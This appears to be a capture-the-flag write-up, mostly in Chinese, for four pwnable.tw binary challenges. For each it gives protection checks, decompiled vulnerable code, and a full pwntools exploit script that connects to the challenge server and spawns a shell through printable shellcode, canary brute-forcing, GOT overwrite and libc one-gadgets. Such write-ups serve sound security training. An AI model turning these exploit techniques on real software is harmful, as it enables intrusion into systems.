death_note 1 2 3 4 5 6 7 [*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/death_note/death_note' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
idea I386 架构的程序,有 rwx 段,那 8 成应该会有写 shellcode 的操作。漏洞在数组越界,可以改写 got 表来控制程序流。v1 可控并且只要求 v1 大于 10,那么可以向上写越界(负数)。关键就是我们的输入必须是 printable,意味着我们的 shellcode 必须是 0x1f<shellcode<0x7f 之间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned int add_note() { int v1; // [esp+8h] [ebp-60h] char s; // [esp+Ch] [ebp-5Ch] unsigned int v3; // [esp+5Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); v1 = read_int(); if ( v1 > 10 ) { puts("Out of bound !!"); exit(0); } printf("Name :"); read_input(&s, 0x50u); if ( !is_printable(&s) ) { puts("It must be a printable name !"); exit(-1); } note[v1] = strdup(&s); puts("Done !"); return __readgsdword(0x14u) ^ v3; }
难点其实是造出来 int 0x80(\xcd\x80),这个可以通过 xor 来获得。用 0 号,ecx 的偏移可控,只需要让 ecx 指向堆地址即可,free 的时候恰好有一个指针在堆上作为 free 的参数,这个指针在栈上,可以利用。 特别的是\x80 需要 2 次 xor 才可以得到。有了 int 0x80 我们就可以做一个 sys_read 来正常的读 shellcode 到堆上,计算好偏移放到 int 0x80 后面就行了。
1 2 3 4 5 6 7 ❯ cat op | grep xor 0 30 41 42 xor BYTE PTR [ecx+0x42],al 1 31 41 42 xor DWORD PTR [ecx+0x42],eax 2 32 41 42 xor al,BYTE PTR [ecx+0x42] 3 33 41 42 xor eax,DWORD PTR [ecx+0x42] 4 34 41 xor al,0x41 5 35 41 42 43 44 xor eax,0x44434241
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *if __name__ == '__main__' : context.log_level = 'debug' context.arch = 'i386' LOCAL = 0 DEBUG = 0 s = lambda data :t.send(str(data)) sa = lambda delim,data :t.sendafter(str(delim), str(data)) sl = lambda data :t.sendline(str(data)) sla = lambda delim,data :t.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :t.recv(numb) ru = lambda delims, drop=True :t.recvuntil(delims, drop) rn = lambda numb :t.recvn(numb) irt = lambda :t.interactive() uu32 = lambda data :u32(data.ljust(4 , b'\0' )) uu64 = lambda data :u64(data.ljust(8 , b'\0' )) leak = lambda name,addr :log.success('{} : {:#x}' .format(name, addr)) if LOCAL: t = remote('10.211.55.13' , 9999 ) else : t = remote('chall.pwnable.tw' , 10201 ) def debug () : raw_input('go?' ) def add (index, name) : sla('Your choice :' , '1' ) sla('Index :' , index) sla('Name :' , name) def free (index) : sla('Your choice :' , '3' ) sla('Index :' , index) payload = 'YYjAX4AH' payload += '0A@' payload += '49' payload += '0AA' payload += 'jAX4A' payload += '@' * 3 payload += 'joZ' payload = payload.ljust(48 ,'Q' ) payload += '2F' print(disasm(payload)) add(0 ,'aaaa' ) add(-19 ,payload) free(0 ) print len(payload) shellcode = asm(shellcraft.sh()) s(cyclic(66 ) + shellcode) irt()
babystack 1 2 3 4 5 6 7 8 ❯ checksec babystack [*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/babystack/babystack' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
保护全开,分析一下程序。主要的逻辑就是在初始化的时候会生成一个 0x10 大小的随机数,然后作为 canary。在 login 的时候会比较这个随机数,如果正确就会把 unk_202014 这个 bss 段的值设置为非 0 这样就可以使用 copy 功能了。在 login 中比较这个随机数是用的 strncmp 计算我们字符串的长度是 strlen。这两个都是遇到 \x00会停止,不会计算和比较后面的东西,当然可以直接用这个 trick 去过。 copy 和 login 用的是一个栈空间,并且在返回到 main 的时候没有处理,这样就造成了溢出。 但是在 ret 的时候会校验这个 canary( if ( memcmp(&buf, qword_202020, 0x10uLL) )), 所以还是需要爆破出来的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { _QWORD *v3; // rcx __int64 v4; // rdx char v6; // [rsp+0h] [rbp-60h] __int64 buf; // [rsp+40h] [rbp-20h] __int64 v8; // [rsp+48h] [rbp-18h] char v9; // [rsp+50h] [rbp-10h] set_env(); dword_202018[0] = open("/dev/urandom", 0); read(dword_202018[0], &buf, 0x10uLL); v3 = qword_202020; v4 = v8; *(_QWORD *)qword_202020 = buf; v3[1] = v4; close(dword_202018[0]); while ( 1 ) { write(1, ">> ", 3uLL); _read_chk(0LL, &v9, 16LL, 16LL); if ( v9 == '2' ) break; if ( v9 == '3' ) { if ( unk_202014 ) sub_E76(&v6); else puts("Invalid choice"); } else if ( v9 == '1' ) { if ( unk_202014 ) unk_202014 = 0; else sub_DEF((const char *)&buf); } else { puts("Invalid choice"); } } if ( !unk_202014 ) exit(0); if ( memcmp(&buf, qword_202020, 0x10uLL) ) JUMPOUT(loc_100B); return 0LL; }
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *if __name__ == '__main__' : context.log_level = 'debug' context.arch = 'amd64' LOCAL = 0 DEBUG = 0 s = lambda data :t.send(str(data)) sa = lambda delim,data :t.sendafter(str(delim), str(data)) sl = lambda data :t.sendline(str(data)) sla = lambda delim,data :t.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :t.recv(numb) ru = lambda delims, drop=True :t.recvuntil(delims, drop) rn = lambda numb :t.recvn(numb) irt = lambda :t.interactive() uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} : {:#x}' .format(name, addr)) if LOCAL: t = remote('10.211.55.13' , 9999 ) else : t = remote('chall.pwnable.tw' , 10205 ) def debug () : raw_input('go?' ) def login (content) : sla('>> ' , '1' ) sa('passowrd :' ,content) def copy (content) : sla('>> ' , '3' ) sa('Copy :' ,content) def canary (gs) : for j in range(0x1 ,0x100 ): payload = gs + p16(j) login(payload) resopnse = t.recvline() if len(resopnse) == 16 : gs += p16(j) sa('>> ' , '1' ) return gs debug() gs0 = '' gs1 = '' gs2 = '' gs0 = canary(gs0)[0 :1 ] gs1 = gs0 + gs1 tmp = canary(gs1)[0 :2 ] tmp = canary(tmp)[0 :3 ] tmp = canary(tmp)[0 :4 ] tmp = canary(tmp)[0 :5 ] tmp = canary(tmp)[0 :6 ] tmp = canary(tmp)[0 :7 ] tmp = canary(tmp)[0 :8 ] tmp = canary(tmp)[0 :9 ] tmp = canary(tmp)[0 :10 ] tmp = canary(tmp)[0 :11 ] tmp = canary(tmp)[0 :12 ] tmp = canary(tmp)[0 :13 ] tmp = canary(tmp)[0 :14 ] tmp = canary(tmp)[0 :15 ] tmp = canary(tmp)[0 :16 ] canary_0 = u64(tmp[0 :8 ]) canary_1 = u64(tmp[8 :16 ]) log.info(hex(canary_0)) log.info(hex(canary_1)) debug() login(p64(canary_0) + p64(canary_1) + '\x00' + cyclic(46 ) + '\xff' + p64(canary_0) + p64(canary_1) + '1' * 8 ) copy(cyclic(63 )) sa('>> ' , '1' ) tmp = tmp + '1' + '\x0a' + '1' * 6 tmp = canary(tmp)[0 :25 ] tmp = canary(tmp)[0 :26 ] tmp = canary(tmp)[0 :27 ] tmp = canary(tmp)[0 :28 ] tmp = canary(tmp)[0 :29 ] tmp = canary(tmp)[0 :30 ] addr_libc = uu64(tmp[24 :30 ]) - 0x6fe70 - 324 leak('addr_libc' , addr_libc) magic = addr_libc + 0x45216 login(p64(canary_0) + p64(canary_1) + '\x00' + cyclic(46 ) + '\xff' + p64(canary_0) + p64(canary_1) + cyclic(24 ) + p64(magic)) copy(cyclic(63 )) sla('>> ' , '2' ) irt()
applestore 1 2 3 4 5 6 [*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/applestore/applestore' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
保护情况如上,漏洞在 checkout 的时候,如果 v1 ==7174,那么就会把 iphone 8 的结构体写到栈中,而我们可以在 my_read(&buf, 0x15u); 时可以溢出到这个结构体,这样把 got 表溢出到相应的指针处就会造成信息泄漏。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned int checkout() { int v1; // [esp+10h] [ebp-28h] char *v2; // [esp+18h] [ebp-20h] int v3; // [esp+1Ch] [ebp-1Ch] unsigned int v4; // [esp+2Ch] [ebp-Ch] v4 = __readgsdword(0x14u); v1 = cart(); if ( v1 == 7174 ) { puts("*: iPhone 8 - $1"); asprintf(&v2, "%s", "iPhone 8"); v3 = 1; insert((int)&v2); v1 = 7175; } printf("Total: $%d\n", v1); puts("Want to checkout? Maybe next time!"); return __readgsdword(0x14u) ^ v4; }
在 delete 中实现了类似 unlink 的操作,既然我们可以控制 iphone 8 的结构体那么自然可以达到任意地址写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned int delete() { signed int v1; // [esp+10h] [ebp-38h] _DWORD *v2; // [esp+14h] [ebp-34h] int v3; // [esp+18h] [ebp-30h] int v4; // [esp+1Ch] [ebp-2Ch] int v5; // [esp+20h] [ebp-28h] char nptr; // [esp+26h] [ebp-22h] unsigned int v7; // [esp+3Ch] [ebp-Ch] v7 = __readgsdword(0x14u); v1 = 1; v2 = (_DWORD *)dword_804B070; printf("Item Number> "); fflush(stdout); my_read(&nptr, 0x15u); v3 = atoi(&nptr); while ( v2 ) { if ( v1 == v3 ) { v4 = v2[2]; v5 = v2[3]; if ( v5 ) *(_DWORD *)(v5 + 8) = v4; if ( v4 ) *(_DWORD *)(v4 + 12) = v5; printf("Remove %d:%s from your shopping cart.\n", v1, *v2); return __readgsdword(0x14u) ^ v7; } ++v1; v2 = (_DWORD *)v2[2]; } return __readgsdword(0x14u) ^ v7; }
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *if __name__ == '__main__' : context.log_level = 'debug' context.arch = 'amd64' LOCAL = 0 DEBUG = 0 s = lambda data :t.send(str(data)) sa = lambda delim,data :t.sendafter(str(delim), str(data)) sl = lambda data :t.sendline(str(data)) sla = lambda delim,data :t.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :t.recv(numb) ru = lambda delims, drop=True :t.recvuntil(delims, drop) irt = lambda :t.interactive() uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} : {:#x}' .format(name, addr)) if LOCAL: t = remote('10.211.55.13' , 9999 ) elf = ELF('./applestore' ) libc = ELF('libc_32.so.6' ) else : t = remote('chall.pwnable.tw' , 10104 ) elf = ELF('./applestore' ) libc = ELF('libc_32.so.6' ) def debug () : raw_input('go?' ) def add (size) : sla('> ' ,2 ) sla('> ' ,size) def delete (index) : sla('> ' ,3 ) sla('> ' ,index) def check () : sla('> ' ,5 ) sla('> ' ,'y' ) def show (payload) : sla('> ' ,4 ) sa('> ' ,payload) for i in range(20 ): add(2 ) for i in range(6 ): add(1 ) debug() check() payload = 'y' + '\x00' + p32(elf.got['atoi' ]) + '\x00' * 15 show(payload) ru('27: ' ) addr_libc = uu32(t.recvn(4 )) - libc.symbols['atoi' ] leak('addr_libc' , addr_libc) payload = 'y' + '\x00' + p32(addr_libc + libc.symbols['environ' ]) + '\x00' * 15 show(payload) ru('27: ' ) addr_stack = uu32(t.recvn(4 )) leak('addr_stack' , addr_stack) addr_ebp = addr_stack - 0x104 payload = '27' + p32(0 ) + p32(0 ) + p32(elf.got['atoi' ] + 0x22 )+ p32(addr_ebp - 0x8 ) delete(payload) ru('> ' ) sl(p32(addr_libc + libc.symbols['system' ]) + ';$0' ) irt()
Silver Bullet 1 2 3 4 5 6 [*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/silver_bullet/silver_bullet' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
在 power_up 中可以修改 silver bullet 的长度,而这个长度就是在栈上的一个值((_DWORD *)dest + 12) 反汇编看其实就是我们的输入加 0x30 (mov [eax+30h], edx)。而程序用的是 strncat 这个函数修改的字符串,这个函数会在末尾加 \x00,可以第一次写一个字符串长度为a,第二次在power_up中写 48 - a 大小的字符串,这样就会把 (DWORD *)dest + 12 的值写为 48 -a 。那么就可以溢出了,但是要控制返回地址必须让 beat 返回 1,在栈上构造 0xff 这种字符就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t v3; // [esp+30h] [ebp-4h] v3 = 0; memset(&s, 0, 0x30u); if ( !*dest ) return puts("You need create the bullet first !"); if ( *((_DWORD *)dest + 12) > 0x2Fu ) return puts("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input(&s, 48 - *((_DWORD *)dest + 12)); strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); v3 = strlen(&s) + *((_DWORD *)dest + 12); printf("Your new power is : %u\n", v3); *((_DWORD *)dest + 12) = v3; return puts("Enjoy it !"); }
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *if __name__ == '__main__' : context.log_level = 'debug' context.arch = 'amd64' LOCAL = 1 DEBUG = 0 s = lambda data :t.send(str(data)) sa = lambda delim,data :t.sendafter(str(delim), str(data)) sl = lambda data :t.sendline(str(data)) sla = lambda delim,data :t.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :t.recv(numb) ru = lambda delims, drop=True :t.recvuntil(delims, drop) irt = lambda :t.interactive() uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format(name, addr)) if LOCAL: t = remote('chall.pwnable.tw' , 10103 ) elf = ELF('silver_bullet' ) libc = ELF('libc_32.so.6' ) else : t = remote('ip' , 1337 ) got_puts = elf.got['puts' ] plt_puts = elf.plt['puts' ] def debug () : raw_input('go?' ) def add (content) : sla('choice :' , '1' ) sla('bullet :' , content) def edit (content) : sla('choice :' , '2' ) sla('bullet :' , content) def beat () : sla('choice :' , '3' ) debug() add(cyclic(46 )) edit('0000' ) edit(cyclic(7 ) + p32(plt_puts) + p32(0x8048954 ) + p32(got_puts)) beat() beat() ru('You win !!\n' ) addr_puts = uu32(t.recvn(4 )) leak('addr_puts' , addr_puts) libc = addr_puts - libc.symbols['puts' ] leak('addr_libc' , libc) magic = libc + 0x3a819 add(cyclic(46 )) edit('0000' ) edit(cyclic(7 ) + p32(magic) + p32(0x8048954 )) beat() beat() irt()